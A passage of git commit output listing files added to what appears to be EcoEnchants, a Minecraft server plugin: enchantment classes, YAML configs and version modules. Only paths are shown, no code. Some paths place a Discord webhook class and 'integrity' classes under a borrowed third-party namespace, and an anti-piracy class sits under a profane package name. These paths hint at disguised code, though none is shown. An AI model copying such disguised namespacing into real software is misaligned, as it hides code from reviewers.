Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Buckshot.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Butchering.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Cerebral.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Chopless.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Cleave.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Collateral.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Cranial.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Criticals.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Deflection.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Defusion.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Dexterous.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Disappear.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Diverse.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Drill.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Dullness.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Electroshock.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/EnderSlayer.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Evasion.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Extinguishing.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Extract.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Famine.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Farmhand.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Finishing.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/FireAffinity.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/FirstStrike.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Flinch.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Forcefield.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Freerunner.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Frozen.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Fury.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Goliath.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Grapple.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/GreenThumb.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Grit.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Hook.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Horde.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/IceShot.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Ignite.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/IllusionAspect.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Incandescence.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/InfernalTouch.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Inferno.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Instantaneous.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Invigoration.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Kinetic.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Launch.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Leeching.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Levitate.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/LiquidShot.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Lumberjack.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/MagmaWalker.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Magnetic.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Marksman.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Necrotic.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/NetherInfusion.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Nocturnal.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Optics.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Oxygenate.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Paladin.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Parasitic.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Parry.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Protector.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Proximity.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Puncture.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Radiance.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Rapid.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Reel.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Reinforcement.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Rejuvenation.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Replenish.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Sating.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Serrated.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Shockwave.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/ShotAssist.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Slicing.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Spearfishing.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Spiked.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Splash.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Stab.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Stamina.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/StoneSwitcher.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/StrayAspect.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Succession.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Supercritical.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Sycophant.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Tectonic.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Telekinesis.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Thor.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Thrive.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Tornado.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Toxic.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Tripleshot.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/VampireAspect.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Vein.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Venom.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/WaterAffinity.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/WaterAspect.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Weakening.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Wisdom.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Zeus.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Aiming.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Annihilate.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Bladed.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Bolt.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Carve.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Confusion.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Energizing.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Frenzy.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Harpoon.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Indestructibility.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Instability.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Intellect.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/LifeSteal.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Pentashot.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Preservation.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Prosperity.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Razor.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Repairing.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Soulbound.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Spring.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Streamlining.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/special/Volatile.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/ArmorEquipEvent.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/ArmorListener.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/ArmorType.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/events/armorequip/DispenserArmorListener.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/events/entitydeathbyentity/EntityDeathByEntityBuilder.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/events/entitydeathbyentity/EntityDeathByEntityEvent.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/events/entitydeathbyentity/EntityDeathByEntityListeners.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/events/naturalexpgainevent/NaturalExpGainBuilder.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/events/naturalexpgainevent/NaturalExpGainEvent.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/events/naturalexpgainevent/NaturalExpGainListeners.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/extensions/Extension.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/extensions/ExtensionManager.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/extensions/MalformedExtensionException.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/grindstone/GrindstoneListeners.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/grindstone/GrindstoneMerge.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/listeners/EnchantingListeners.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/listeners/PlayerJoinListener.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/listeners/VillagerListeners.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/loader/Loader.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/lore/DisplayPacketAdapter.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/lore/EnchantLore.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/naturalloot/LootPopulator.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/nms/BlockBreak.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/nms/Cooldown.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/nms/NMSEnchantManager.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/nms/Target.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/nms/TridentStack.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/queue/DropQueue.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/task/EcoRunnable.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/AntiGrief.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/Bias.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/Circle.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/Cube.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/EqualIfOver.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/HasEnchant.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/ItemDurability.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/Lightning.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/LocationUtils.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/Numeral.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/Pair.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/Rand.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/RecursiveBlock.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/SimplifyVector.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/Square.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/StringUtils.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/util/UpdateChecker.java create mode 100644 Plugin/src/main/java/org/codehaus/plexus/util/DiscordWebhook.java create mode 100644 Plugin/src/main/java/org/codehaus/plexus/util/Integrity.java create mode 100644 Plugin/src/main/java/org/codehaus/plexus/util/IntegrityManager.java create mode 100644 Plugin/src/main/java/org/codehaus/plexus/util/UserUtils.java create mode 100644 Plugin/src/main/java/org/codehaus/plexus/util/reflection/ReflectionManager.java create mode 100644 Plugin/src/main/java/org/spigotmc/fuck/barry/the/legend/ShittyRussianAntiSkid.java create mode 100644 Plugin/src/main/resources/README.txt create mode 100644 Plugin/src/main/resources/config.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/cloudsartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/damageartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/dragonartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/dustartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/emeraldartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/enchantmentartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/endartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/fireartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/heartartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/honeyartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/inkartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/lavaartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/magicartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/magmaartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/musicartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/netherartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/redstoneartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/smokeartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/snowartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/sparkleartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/totemartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/waterartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/witchartifact.yml create mode 100644 Plugin/src/main/resources/enchants/artifact/zapartifact.yml create mode 100644 Plugin/src/main/resources/enchants/curse/breaklessnesscurse.yml create mode 100644 Plugin/src/main/resources/enchants/curse/callingcurse.yml create mode 100644 Plugin/src/main/resources/enchants/curse/decaycurse.yml create mode 100644 Plugin/src/main/resources/enchants/curse/fragilitycurse.yml create mode 100644 Plugin/src/main/resources/enchants/curse/harmlessnesscurse.yml create mode 100644 Plugin/src/main/resources/enchants/curse/hungercurse.yml create mode 100644 Plugin/src/main/resources/enchants/curse/misfortunecurse.yml create mode 100644 Plugin/src/main/resources/enchants/curse/permanencecurse.yml create mode 100644 Plugin/src/main/resources/enchants/normal/abrasion.yml create mode 100644 Plugin/src/main/resources/enchants/normal/aerial.yml create mode 100644 Plugin/src/main/resources/enchants/normal/aquatic.yml create mode 100644 Plugin/src/main/resources/enchants/normal/arcanic.yml create mode 100644 Plugin/src/main/resources/enchants/normal/beheading.yml create mode 100644 Plugin/src/main/resources/enchants/normal/blastmining.yml create mode 100644 Plugin/src/main/resources/enchants/normal/bleed.yml create mode 100644 Plugin/src/main/resources/enchants/normal/bosshunter.yml create mode 100644 Plugin/src/main/resources/enchants/normal/buckshot.yml create mode 100644 Plugin/src/main/resources/enchants/normal/butchering.yml create mode 100644 Plugin/src/main/resources/enchants/normal/cerebral.yml create mode 100644 Plugin/src/main/resources/enchants/normal/chopless.yml create mode 100644 Plugin/src/main/resources/enchants/normal/cleave.yml create mode 100644 Plugin/src/main/resources/enchants/normal/collateral.yml create mode 100644 Plugin/src/main/resources/enchants/normal/cranial.yml create mode 100644 Plugin/src/main/resources/enchants/normal/criticals.yml create mode 100644 Plugin/src/main/resources/enchants/normal/deflection.yml create mode 100644 Plugin/src/main/resources/enchants/normal/defusion.yml create mode 100644 Plugin/src/main/resources/enchants/normal/dexterous.yml create mode 100644 Plugin/src/main/resources/enchants/normal/disappear.yml create mode 100644 Plugin/src/main/resources/enchants/normal/diverse.yml create mode 100644 Plugin/src/main/resources/enchants/normal/drill.yml create mode 100644 Plugin/src/main/resources/enchants/normal/dullness.yml create mode 100644 Plugin/src/main/resources/enchants/normal/electroshock.yml create mode 100644 Plugin/src/main/resources/enchants/normal/enderslayer.yml create mode 100644 Plugin/src/main/resources/enchants/normal/evasion.yml create mode 100644 Plugin/src/main/resources/enchants/normal/extinguishing.yml create mode 100644 Plugin/src/main/resources/enchants/normal/extract.yml create mode 100644 Plugin/src/main/resources/enchants/normal/famine.yml create mode 100644 Plugin/src/main/resources/enchants/normal/farmhand.yml create mode 100644 Plugin/src/main/resources/enchants/normal/finishing.yml create mode 100644 Plugin/src/main/resources/enchants/normal/fireaffinity.yml create mode 100644 Plugin/src/main/resources/enchants/normal/firststrike.yml create mode 100644 Plugin/src/main/resources/enchants/normal/flinch.yml create mode 100644 Plugin/src/main/resources/enchants/normal/forcefield.yml create mode 100644 Plugin/src/main/resources/enchants/normal/freerunner.yml create mode 100644 Plugin/src/main/resources/enchants/normal/frozen.yml create mode 100644 Plugin/src/main/resources/enchants/normal/fury.yml create mode 100644 Plugin/src/main/resources/enchants/normal/goliath.yml create mode 100644 Plugin/src/main/resources/enchants/normal/grapple.yml create mode 100644 Plugin/src/main/resources/enchants/normal/greenthumb.yml create mode 100644 Plugin/src/main/resources/enchants/normal/grit.yml create mode 100644 Plugin/src/main/resources/enchants/normal/hook.yml create mode 100644 Plugin/src/main/resources/enchants/normal/horde.yml create mode 100644 Plugin/src/main/resources/enchants/normal/iceshot.yml create mode 100644 Plugin/src/main/resources/enchants/normal/ignite.yml create mode 100644 Plugin/src/main/resources/enchants/normal/illusionaspect.yml create mode 100644 Plugin/src/main/resources/enchants/normal/incandescence.yml create mode 100644 Plugin/src/main/resources/enchants/normal/infernaltouch.yml create mode 100644 Plugin/src/main/resources/enchants/normal/inferno.yml create mode 100644 Plugin/src/main/resources/enchants/normal/instantaneous.yml create mode 100644 Plugin/src/main/resources/enchants/normal/invigoration.yml create mode 100644 Plugin/src/main/resources/enchants/normal/kinetic.yml create mode 100644 Plugin/src/main/resources/enchants/normal/launch.yml create mode 100644 Plugin/src/main/resources/enchants/normal/leeching.yml create mode 100644 Plugin/src/main/resources/enchants/normal/levitate.yml create mode 100644 Plugin/src/main/resources/enchants/normal/liquidshot.yml create mode 100644 Plugin/src/main/resources/enchants/normal/lumberjack.yml create mode 100644 Plugin/src/main/resources/enchants/normal/magmawalker.yml create mode 100644 Plugin/src/main/resources/enchants/normal/magnetic.yml create mode 100644 Plugin/src/main/resources/enchants/normal/marksman.yml create mode 100644 Plugin/src/main/resources/enchants/normal/necrotic.yml create mode 100644 Plugin/src/main/resources/enchants/normal/netherinfusion.yml create mode 100644 Plugin/src/main/resources/enchants/normal/nocturnal.yml create mode 100644 Plugin/src/main/resources/enchants/normal/optics.yml create mode 100644 Plugin/src/main/resources/enchants/normal/oxygenate.yml create mode 100644 Plugin/src/main/resources/enchants/normal/paladin.yml create mode 100644 Plugin/src/main/resources/enchants/normal/parasitic.yml create mode 100644 Plugin/src/main/resources/enchants/normal/parry.yml create mode 100644 Plugin/src/main/resources/enchants/normal/protector.yml create mode 100644 Plugin/src/main/resources/enchants/normal/proximity.yml create mode 100644 Plugin/src/main/resources/enchants/normal/puncture.yml create mode 100644 Plugin/src/main/resources/enchants/normal/radiance.yml create mode 100644 Plugin/src/main/resources/enchants/normal/rapid.yml create mode 100644 Plugin/src/main/resources/enchants/normal/reel.yml create mode 100644 Plugin/src/main/resources/enchants/normal/reinforcement.yml create mode 100644 Plugin/src/main/resources/enchants/normal/rejuvenation.yml create mode 100644 Plugin/src/main/resources/enchants/normal/replenish.yml create mode 100644 Plugin/src/main/resources/enchants/normal/sating.yml create mode 100644 Plugin/src/main/resources/enchants/normal/serrated.yml create mode 100644 Plugin/src/main/resources/enchants/normal/shockwave.yml create mode 100644 Plugin/src/main/resources/enchants/normal/shotassist.yml create mode 100644 Plugin/src/main/resources/enchants/normal/slicing.yml create mode 100644 Plugin/src/main/resources/enchants/normal/spearfishing.yml create mode 100644 Plugin/src/main/resources/enchants/normal/spiked.yml create mode 100644 Plugin/src/main/resources/enchants/normal/splash.yml create mode 100644 Plugin/src/main/resources/enchants/normal/stab.yml create mode 100644 Plugin/src/main/resources/enchants/normal/stamina.yml create mode 100644 Plugin/src/main/resources/enchants/normal/stoneswitcher.yml create mode 100644 Plugin/src/main/resources/enchants/normal/strayaspect.yml create mode 100644 Plugin/src/main/resources/enchants/normal/succession.yml create mode 100644 Plugin/src/main/resources/enchants/normal/supercritical.yml create mode 100644 Plugin/src/main/resources/enchants/normal/sycophant.yml create mode 100644 Plugin/src/main/resources/enchants/normal/tectonic.yml create mode 100644 Plugin/src/main/resources/enchants/normal/telekinesis.yml create mode 100644 Plugin/src/main/resources/enchants/normal/thor.yml create mode 100644 Plugin/src/main/resources/enchants/normal/thrive.yml create mode 100644 Plugin/src/main/resources/enchants/normal/tornado.yml create mode 100644 Plugin/src/main/resources/enchants/normal/toxic.yml create mode 100644 Plugin/src/main/resources/enchants/normal/tripleshot.yml create mode 100644 Plugin/src/main/resources/enchants/normal/vampireaspect.yml create mode 100644 Plugin/src/main/resources/enchants/normal/vein.yml create mode 100644 Plugin/src/main/resources/enchants/normal/venom.yml create mode 100644 Plugin/src/main/resources/enchants/normal/wateraffinity.yml create mode 100644 Plugin/src/main/resources/enchants/normal/wateraspect.yml create mode 100644 Plugin/src/main/resources/enchants/normal/weakening.yml create mode 100644 Plugin/src/main/resources/enchants/normal/wisdom.yml create mode 100644 Plugin/src/main/resources/enchants/normal/zeus.yml create mode 100644 Plugin/src/main/resources/enchants/special/aiming.yml create mode 100644 Plugin/src/main/resources/enchants/special/annihilate.yml create mode 100644 Plugin/src/main/resources/enchants/special/bladed.yml create mode 100644 Plugin/src/main/resources/enchants/special/bolt.yml create mode 100644 Plugin/src/main/resources/enchants/special/carve.yml create mode 100644 Plugin/src/main/resources/enchants/special/confusion.yml create mode 100644 Plugin/src/main/resources/enchants/special/energizing.yml create mode 100644 Plugin/src/main/resources/enchants/special/frenzy.yml create mode 100644 Plugin/src/main/resources/enchants/special/harpoon.yml create mode 100644 Plugin/src/main/resources/enchants/special/indestructibility.yml create mode 100644 Plugin/src/main/resources/enchants/special/instability.yml create mode 100644 Plugin/src/main/resources/enchants/special/intellect.yml create mode 100644 Plugin/src/main/resources/enchants/special/lifesteal.yml create mode 100644 Plugin/src/main/resources/enchants/special/pentashot.yml create mode 100644 Plugin/src/main/resources/enchants/special/preservation.yml create mode 100644 Plugin/src/main/resources/enchants/special/prosperity.yml create mode 100644 Plugin/src/main/resources/enchants/special/razor.yml create mode 100644 Plugin/src/main/resources/enchants/special/repairing.yml create mode 100644 Plugin/src/main/resources/enchants/special/soulbound.yml create mode 100644 Plugin/src/main/resources/enchants/special/spring.yml create mode 100644 Plugin/src/main/resources/enchants/special/streamlining.yml create mode 100644 Plugin/src/main/resources/enchants/special/volatile.yml create mode 100644 Plugin/src/main/resources/lang.yml create mode 100644 Plugin/src/main/resources/plugin.yml create mode 100644 lib/AdvancedEnchantments.jar create mode 100644 lib/SpartanAPI.jar create mode 100644 parent.iml create mode 100644 pom.xml create mode 100644 v1_15_R1/pom.xml create mode 100644 v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/BlockBreak.java create mode 100644 v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/Cooldown.java create mode 100644 v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/CraftEnchantWrapper.java create mode 100644 v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/NMSEnchant.java create mode 100644 v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/NMSEnchantManager.java create mode 100644 v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/Target.java create mode 100644 v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/TridentStack.java create mode 100644 v1_15_R1/v1_15_R1.iml create mode 100644 v1_16_R1/pom.xml create mode 100644 v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/BlockBreak.java create mode 100644 v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/Cooldown.java create mode 100644 v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/CraftEnchantWrapper.java create mode 100644 v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/NMSEnchant.java create mode 100644 v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/NMSEnchantManager.java create mode 100644 v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/Target.java create mode 100644 v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/TridentStack.java create mode 100644 v1_16_R1/v1_16_R1.iml create mode 100644 v1_16_R2/pom.xml create mode 100644 